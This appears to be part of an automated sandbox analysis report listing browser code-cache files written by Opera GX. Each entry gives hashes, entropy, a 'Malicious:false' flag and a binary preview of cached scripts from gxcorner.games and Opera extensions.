                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):262
                                                                                                                                                                                                              Entropy (8bit):5.780520229168451
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:823B523C0E97A108E87CE66A27B018B9
                                                                                                                                                                                                              SHA1:F89C0E3210B6020EC123BF02FADF20FCF6B9C868
                                                                                                                                                                                                              SHA-256:E1AABEDA769495F6A218D7A3F6869278125D5426FAAA93E8F440DA692C09E604
                                                                                                                                                                                                              SHA-512:ADDE76DD9DDCB9A96DE0BAC1BB34BE3FF40E53947ED1ED8D4E6A84F8B2C555231764855A8C8874058B4EA82DD9EFDF453A12BA71A9734651A33DF497D4BF0A6B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......R..........._keyhttps://gxcorner.games/assets/DailyLayout-BJyJ127i.js .https://gxcorner.games/.A..Eo...................|.../..D..C54B8A6B09A79BDCAECD6B12C1C1122C59D1A01D0CA88289874BE67FA5ACF123tB.lr.........}..j....&7}W.....A..Eo......*.".L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0dfd567e7578fb0e_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):20872
                                                                                                                                                                                                              Entropy (8bit):5.561030069711921
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C94D6972CA8ACF5DF0B38836DC617E2D
                                                                                                                                                                                                              SHA1:58A83816E636D20125D7BAC8680CC0A38ED2E4C9
                                                                                                                                                                                                              SHA-256:23961A886296099CE245A659A71EBD55E0C1AB724EA60B6CACBDD211FAB69AF8
                                                                                                                                                                                                              SHA-512:76BF592C1F2E22B88384EC5159BB48E1756E7CE9C7CB749E13E4190E4AB852DF5F9E5B65EA84D02A06C98A2AB58267EFB24F696841B571CF104133547652EAEA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@...H.......9AFEFA06F0DE0F20BBC10BA8A94F488ABF1F55F8AE43C3DB64DDF23A0FA62DD7....s./.........<...z..........na.P...........0T......`X...........a..........$.y.g8..........).........11C..G-C.........T.q.a&........0T`.........Ia....d....$..g..............@......@......@.....RbB. .....re...}.Se.1..............\$..V.... ..Rbj.r.....le....Rb........oe....Rb..1 ....ue....Rb.0.....fe....Rb...6....ce....Rb...>....de....Rb..%Y...._e....Rb..E.....me....Rb.a......pe..i........................................I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`*....... R.........../App-Dh0jPV6c.js...]`v....... R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`N...]..L`......Rb..|h....we..`......L`.......]..L`T.... ...D........c........*...,.... .D..A.....c........b...d.... .D........c................. .D......A.c................. .D......Rb*!r.....aU..c........@...D.... .D..A.....c........p...r.... .D........c........~........ .D........c......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0f0b7a533d5343e4_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8877
                                                                                                                                                                                                              Entropy (8bit):5.775529399431857
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:13C53EF98A9BEF537E88C739F1FEC4D6
                                                                                                                                                                                                              SHA1:AD3CD7B8A8CB764BF80865FCC3E0585F503939F0
                                                                                                                                                                                                              SHA-256:877820F3C3A1AB2F8EB36A2AF06AFA86F1D7F8BA280524F869EB46A31A029CD1
                                                                                                                                                                                                              SHA-512:51D84E72D924F6BDD08256DFC5D1FDB49413C98FF01E6D5EC03B78C68EE369305C09F5D7C226C7643CFC0FB981D77F3FB94B13C0A9721698C49FCAB202C24A9B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......Q..........._keyhttps://gxcorner.games/assets/DailyShort-BMr-HD-N.js .https://gxcorner.games/....s./.........<...z..........na.!...........0T......`............a..........$.y.g8..........)........L......1C.........l.q.a2........0T`.........Ia4........,..i..............@......@......@......@.........M.Se.1...... .......$:..F.....A.......A...........Rb........ie....Rb:l......ne............RbB. .....re........Rb........se....Rb.N.....ae....Rb.0.....fe....Rb........oe....Rb..1 ....ue..o................................................................I`........`.....$L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`B.......0R.,N2W/"..../IntersectionObserver-DNzenOzn.js..]`........(R.$r>W....../DailyLayout-BJyJ127i.js...]`........ R..V......../index-Cl97QX7T.js.]`F.......$R. RU......./strings-arc53U-2.js...]`........ R..n?q....../Daily-B4nyd3Ac.js.]`....]..L`......Rb...1....ge..`......L`.......]..L`D.... ...D........c................. .D

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\17466bc75ea3fb4e_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7526
                                                                                                                                                                                                              Entropy (8bit):5.762942833303812
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:38067ED15680ADA33071D8498EDF727A
                                                                                                                                                                                                              SHA1:B8CBD604B9771A06079CEF19EA5BB8C017C30FDC
                                                                                                                                                                                                              SHA-256:D429B374B89393077C493812F6CAEEBBD2C0463AEE7BD73C8A9243934B076705
                                                                                                                                                                                                              SHA-512:89922D6BE6B8E876A33A097272CEEDDDEE2B32A1F2E13EBDE39F67A5FC3AC67B4EAEC9B32438C6C0C644925D534CBCDEA715FC4A8500A3AC647FEC717775483F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......Z..........._keyhttps://gxcorner.games/assets/DailyRegularContent-CvoZ_uMX.js .https://gxcorner.games/....s./.........<...z..........nah............0T......`............a.......... .y.f0..........)..........1C.........P.q.a$........0T`.........Ia.........@..n4.............@......@......@......@......@......@......@..........Se.1..............8*..@.........A.......A.......Rb.y[.....ee....Rb........te....Rb.N.....ae....Rb:l......ne....RbB. .....re..i........................................I`........`.....$L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`........0R.,N2W/"..../IntersectionObserver-DNzenOzn.js..]`........(R.$r>W....../DailyLayout-BJyJ127i.js...]`n....... R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`f....... R..n?q....../Daily-B4nyd3Ac.js.]`....]..L`......Rb...>....de..`......L`.......]..L`>.... ...D......A.c........R...T.... .D........c................. .D..A.....c........z...|.... .D.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\1be8a98939ce4fb7_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):335
                                                                                                                                                                                                              Entropy (8bit):5.501401172285239
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5B2C8B3AD17A45EC32940098E5D0F0EA
                                                                                                                                                                                                              SHA1:79491AEECE166F9CE5AD0C319972C4BC168994A4
                                                                                                                                                                                                              SHA-256:46834DD311F4E83B8F7E429C1866281290D2B998F530EA070D5823BF67939073
                                                                                                                                                                                                              SHA-512:A608DFE403FD71A35C598035081BBA250B59208AED537402C0BEF05A5848CDE76A268C9FA60675669B1A45D309A1D6C9E43C8323258F367F5CB46794CCDAB619
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........Q=t7...._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/message_handlers/bookmarks_message_handler.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@...........;"Y>..in.?..\..^=..y!..._.&./..d....t./..........L.........W....N....TB...aA.g..r.?.P..A..Eo......y.'L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\1ff9a2e5ad1461fa_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9738
                                                                                                                                                                                                              Entropy (8bit):5.526057428320632
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:365E88BB64E976A40F1D57ACC453EFF3
                                                                                                                                                                                                              SHA1:2C597F87514CDD29E19DC0B271E746E78B9AE245
                                                                                                                                                                                                              SHA-256:7FE78BC3FB7EF587E3B4EBFFA6301D8457262A7E21BDB2CB5BE481AAC268F7FF
                                                                                                                                                                                                              SHA-512:C96CA65F7125DFBB0913D0463005F05D977C82B422F6B633810D7AE0D8D3A1F698A6729920197661A5D51F901739B06CECBF33B48293A49BBD7ECA2453A4FBD2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......^....p......_keyhttps://gxcorner.games/assets/workbox-window.prod.es5-DoTy6K3P.js .https://gxcorner.games/....s./.........<...z..........na.%...........0T......`............a..........@.y.np..........)...........h../...`.D.................q.....f..s..(.h@...u.......................Q.........d.q.a.........0T..D..`8.........a........`............`.....0T..p..`.........,a........`........ .`.....!........2...U..8Rl..].,...@@toPrimitive must return a primitive value....t ............. ..........!.../...1...$/....b...... ......!........l.....!...e......`.....(Sd.qA.................I`....D..Se.1.............../....................A...........A.................j............................................I`........`.....].,L`........`......L`......Rd6..J....messageSW.......`......L`......Rd..T.....WorkboxEvent....`......L`......Rcz.P.....Workbox..]....a............a............a............d..............`...@..H......PQ.LF.wfA...https://gxcorner.games/assets/workbox-window.pr

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\20a287387c5e678f_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):339
                                                                                                                                                                                                              Entropy (8bit):5.415753775207183
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E38CBD32A841C057D47EC179AA356399
                                                                                                                                                                                                              SHA1:9CCDD8D3BEB34F462D2A67134208CEDDD85B7D21
                                                                                                                                                                                                              SHA-256:60BF5BBBB4A404CBD940651CD57CDFB3D4DAFFFD2C6DFA407498C29830B252AD
                                                                                                                                                                                                              SHA-512:E31AE69989A5A444D17D696883476F090B58AA8190A02741AFEA881763781D8D82073423FFAB5AC3390B26D6FEAFE331C87113FA6B0E05DAEFEB9B9983DBDE86
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m............~....._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/message_handlers/linkdiscovery_message_handler.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@............S.+..h..Z.0..@7~..I.....f.9A.......t./..........L......O.&.LSJ.A@$.r-....p....b!.g..A..Eo.......h92L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\32611540fb9ed151_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):303
                                                                                                                                                                                                              Entropy (8bit):5.494672241137318
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5273D4337B8F4B5C1BFADA38746AF0A0
                                                                                                                                                                                                              SHA1:0A0A33735EA0F4FEF5DD54627CB56E25EB13F7D3
                                                                                                                                                                                                              SHA-256:72A9AE74E1CCE56E01DB79F24A448FACC236F6D84DDB254E94BD7088219A6C36
                                                                                                                                                                                                              SHA-512:AE61A6F8F42980B9A2C7619F6FCFEB80703644BF13F00ED861B8F6639A7381F57A4C2ACFC9C1647DDA273EEAA953B338DE9E34E8F1D6655AEE1DEF2390B83842
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......{........._keychrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/background.js .chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/.A..Eo..........................@............G]:..j.\!t.#<-/...OA...e'..W.......t./..........M........R6.....2._..G!S...m..T4;.....A..Eo....../O<uL.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3470e4d337c902c4_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):330
                                                                                                                                                                                                              Entropy (8bit):5.544280729873857
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:FA44996B8EF3D8FE56BC9DA40928BBAA
                                                                                                                                                                                                              SHA1:23EF74174E190B43E49D71EC78AC2CF53C4AC888
                                                                                                                                                                                                              SHA-256:E4386D7948F3401EC6623DD251603A6D7A15092D9E91986A3A6A78F2FDB02A93
                                                                                                                                                                                                              SHA-512:E7B8CFDF9F87511BE8350BB3B5FF2C0546F84C0086ADB788383E0D31EEBF110D80458DE172B6F72F5304F87BB0164A817708D7080C8F1E1ADD7E9CC482C5FDD0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........hT......_keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/message_handlers/mods_message_handler.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@.................5O.0_..d0].@....T..........t./.........EM......O.).'..%.o...J....P...^S.M3.[..A..Eo....... ..L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3aca1ec21ff32059_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):132456
                                                                                                                                                                                                              Entropy (8bit):5.612405676419084
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7B5947265ED1FFE97A53D57639DD3722
                                                                                                                                                                                                              SHA1:00523C90E385409EC326900B46487C99727DB7F1
                                                                                                                                                                                                              SHA-256:624E55FC1A45AC520DD2003635828604882BEE1EE3124A13027F26805EA39A28
                                                                                                                                                                                                              SHA-512:50C9A54BD17BCB7AA9FDCE48B2BD5383BAE85CABFE0FE5380809EFD1BBE3098D1B7F676E765EE03EF00FDC20CDA8D1EA94E02A930A91E8175195C5C2F9B8249C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@......5....5689FA3CD7B1504B36EA325AB81235860019321647F1A76A7D97EBE01C54305D....s./.........<...z.........na.............0T...+...`"W..........a..........5..y..1.X........P.3..X.........(.4..1P..1H... .D.X....0...L...p......................./................D..1`..1P..1H..............l........!..3..%........0.....8............4.....H........L.................B.............l...t............<.(!'.;......8.(!'.7......$.('D)..T.$.D.$.<.$.(.<.$.(.4.$.(.,.$.D....''....8.....!.-...........41........''.......''...1....1....1.....8....................................#4.....#4.... #.....(.,.S.p........T...............................................d..F..F..N.................0.......'....|..'..p....................(.C......(.C..................`..........8.....d.....l.................(.C......(.C............\...0.........'.........%<.G...h.............d..........(.C......(.C..........................................................................h...h...h...\'........L'....@'..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3b3bfb0753fbd3ce_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):339
                                                                                                                                                                                                              Entropy (8bit):5.521253590869793
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A332F7B7755D0C387D9F7D67790C91EF
                                                                                                                                                                                                              SHA1:1CF6ABA5CC5578B62FD8876517F4A56C8AD97844
                                                                                                                                                                                                              SHA-256:15D769E8C28974AC9748BB791D380F06F25387FF3C558A476EA0E6BD47000FA1
                                                                                                                                                                                                              SHA-512:41EDCF8D27B33DD3D15BCD26062CF192440F08290418D4100AD7914C4773578EBD0D7AEB92B12FA1CCB2001017D4C4793D022827ECFCB3679AE75FF230BF9D56
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m................._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/message_handlers/personal_news_message_handler.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@..............O.^\!..._.m..!`..>.ZQQ&....R....t./.........CM........<~....a..}...m.a...y. ..T.r....A..Eo........MLL.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3d19a0f089c1f321_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):254
                                                                                                                                                                                                              Entropy (8bit):5.80728100011425
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0CE7EBF7C7CF126BC15867DE5EA43242
                                                                                                                                                                                                              SHA1:D8BDA8F957C74650BB04F13D8A368649EAE7FA08
                                                                                                                                                                                                              SHA-256:45C2856246C2E6414CA080DC25DE23FAC4361FB21A7F10F6789574084AE0E01D
                                                                                                                                                                                                              SHA-512:57BF268235AB801EDD84E16257525E88D6558BCBC96BD64577C10EFB8D4FF6DD0298E48C7FC2965D93B827467954E55E3915EDC1C578C3DE1C2517FF9CC76F6C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......J.../......._keyhttps://gxcorner.games/assets/App-Dh0jPV6c.js .https://gxcorner.games/.A..Eo...................f.../..u..4DD33D1AF809CDC188EEDE98C57C15B286BF162E042D3D866223FBA20EDB1E512#iu"rd..$T..YR!p|.c..{.M.a.....A..Eo........W.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3fbc5b0d8e426b92_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2665
                                                                                                                                                                                                              Entropy (8bit):5.698707388177228
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:716ACCE75882098461E906603FE2A28D
                                                                                                                                                                                                              SHA1:6ACD8E3B3F35E9394427DFBDF15A0E0495339C81
                                                                                                                                                                                                              SHA-256:A059F87E83557402F82E07846046EED0E59D068F6BCBE9BA699EC511A5E9A28C
                                                                                                                                                                                                              SHA-512:697CFB683116F2A78E898D67458E739615F2BC994DAB1B3CB89D0D21367606FF1EBF49CBEB0E4AB5BEA52A8A696E1A20CB18D47F57C8FB3779CB9B3F2AF0A595
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......M...>.X....._keyhttps://gxcorner.games/assets/Toggle-BJt5m6Nb.js .https://gxcorner.games/.A..Eo......................./.........s./.........<...z..,.......nax............0T......`............a.......... .y.f,.......I.)..........1?...........4.q.a....f....0T`.........Ia....r....,..i..............@......@......@......@.........1.Se.1..............X...(...............b............I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`....]..L`........`......L`........].TL`&.... ...D..A.....c........0...2.... .D......A.c........8...:.... .D........c................. .D........c................. .D..A.....c........>...@.... .D........c................. .D........c........L...N.... .D........c........"...$.... .D........c................. .D........c................. .D........c................. .D..A...A.c................. .D........c................. .D........c................. .D......A.c................. .D......A.c......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4115b7e9b499f6e4_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):309
                                                                                                                                                                                                              Entropy (8bit):5.458551541217949
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:279007C7F22B53777EE8F79F47957A24
                                                                                                                                                                                                              SHA1:64CB66276573C1349C62603727667B1922E2ADCA
                                                                                                                                                                                                              SHA-256:75AA242BCA2AC92539B2A5AE5EEC2DA08B690029715C061AD9C4D39324829DCA
                                                                                                                                                                                                              SHA-512:7C84B8B10AE050766BD557BE39C455B72C5CAABD5F9E4FC0789D75726BA06561F17ACA5800872B503C830571E30E49E5F130E16BF5792AD90B9A04B7DF5F4AB3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m.........../......_keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/gx/sounds_engine.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@...........M.P......\.r.u...c........<Q.c....t./.........oP......-&......!...'.....u..w_...0.h..A..Eo.......A:.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4540d3f93cc88bd8_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):488896
                                                                                                                                                                                                              Entropy (8bit):5.92574078508408
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5225A8777766D85602F9CD0AD8A7F03C
                                                                                                                                                                                                              SHA1:FAE2913C962F2FBD3B9454885DA45FD31AD529E0
                                                                                                                                                                                                              SHA-256:F31C99D57932D8845CB6FA0EEE664184CA53244EB70491D12FB149FD677E9107
                                                                                                                                                                                                              SHA-512:51E3C5819D6F79AC40DD1B7F468AD0388B6B49DAB210EFAE1794F62A2061DB6E80E3D04EBD9343D694F565A0D5CF8BD2BAD709A467A4A7FF84DDD3FCF0844CA6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@...i.6.....4DD33D1AF809CDC188EEDE98C57C15B286BF162E042D3D866223FBA20EDB1E51....s./.........<...z..1.......na.t...........0T.......`...........a.............y.....9....#.....;..X....7....0!4.0-....#|.{..........!4..5`...,.....%...................<.................(...0..... .....d..........<...............0.................!4.....,+\..-.!<............Y.........`........Y..Y.....?.....8............C.....C...%..o..C...R......C..VYC..*.....D.....d............x.....d...(.C.......................................................0.........................7....(......$...<...X.....$).........."@. ...$)_.....-.............(...$!..W.....5<.T.4.....*.....(.....(.......(................../..p../...[YC......(...,......YC..mY..........@..j.@........(.?.h...(.?.d.(.'.........,.............d..#......2.0..$..%.=L.........(.'.h.......'... ..'......'......'......'........',.....'......'......'(....D.......d..%.v/v..T.................d..%.v/v..X!P...(-..........%H...(-................-,.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\469254544b8b2845_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7107
                                                                                                                                                                                                              Entropy (8bit):5.625149650483752
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8DD6EE2C16CB2D135B8339DA1ADFA52D
                                                                                                                                                                                                              SHA1:15481CAE81F994EAC6461687BBB309AEBF7D2B63
                                                                                                                                                                                                              SHA-256:89B87067142C968A888E2085EAE0E00AB99065D0F27A28DEBA3CD557D7F0D248
                                                                                                                                                                                                              SHA-512:4CAA09412DDFEBFF4784C42148D285F996825C1F9E5EC9002A8CB356718F59E434246245019DEC5C5CF303E0E8B528D204F3721468D023C55587FF9E690DABDB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......O...k.W....._keyhttps://gxcorner.games/assets/Settings-OWFQsyab.js .https://gxcorner.games/....s./.........<...z..b/......na.............0T.......`............a..........,.y.iD..........).........,..........11C...........x.q.a8...&....0T`.........Ia.........$..g..............@......@............Rb..)....Ze.....Se.1......(........^..x.... ..Rb>o.s....xe....Rb..e.....et........RbJY......st....Rb........ie....RbB. .....re....Rb.0.....fe....Rb.a......pe....Rb>N......nt....Rb.n......lt....Rb..1 ....ue....b....Rb...1....ge....Rb.......ot....Rb.9.V....it....Rb.` .....rt....Rb..g.....ft....Rb.^7.....pt....Rb.4Q.....ut..s................................................................................I`........`..... L`.......... R..R.b....../index-DMZ02uhD.js.]`"....... R.........../App-Dh0jPV6c.js...]`*....... R...X*E...../Toggle-BJt5m6Nb.js]`........ R.........../news-DnkPxxHL.js..]`........ R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`f...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4c8c8f7789591860_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):256
                                                                                                                                                                                                              Entropy (8bit):5.7919264850268695
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:531FD5C015E4873DD53D71EAA4CDAA47
                                                                                                                                                                                                              SHA1:77AA807E0783BC90CDDDD5C1E84D6163ED342A26
                                                                                                                                                                                                              SHA-256:DD518F7955D2226880C0942B6B4E9E0DD6CC223049983446789CB08A00D08870
                                                                                                                                                                                                              SHA-512:4D4CD0DBE65C76D4532043BA9FB25BB35E94FDE566846F14C286E6FC44F64909F4F88CF66CC9F88A8724C923466A563EC9944FF5D8D988629EC5B7DBF91DC899
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......L...R......._keyhttps://gxcorner.games/assets/Daily-B4nyd3Ac.js .https://gxcorner.games/.A..Eo......................./.....406C285785884BAC99C15D169F202A7E026AB1A0F19AFE9AED5A2925D6C312EC.......q.-'.|..z...|.M.P...{....A..Eo........s.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4d23b4ed733a5827_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):335
                                                                                                                                                                                                              Entropy (8bit):5.459830631515009
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:425BA3418B2176AE2F2A2779CA8D023D
                                                                                                                                                                                                              SHA1:F2C14D790A70BD61F6B67CCA4EAA58CD87FE4D6B
                                                                                                                                                                                                              SHA-256:3075486A8318A046821480E88E840D9531996B541DFA3DE58589BDDBFCCC443E
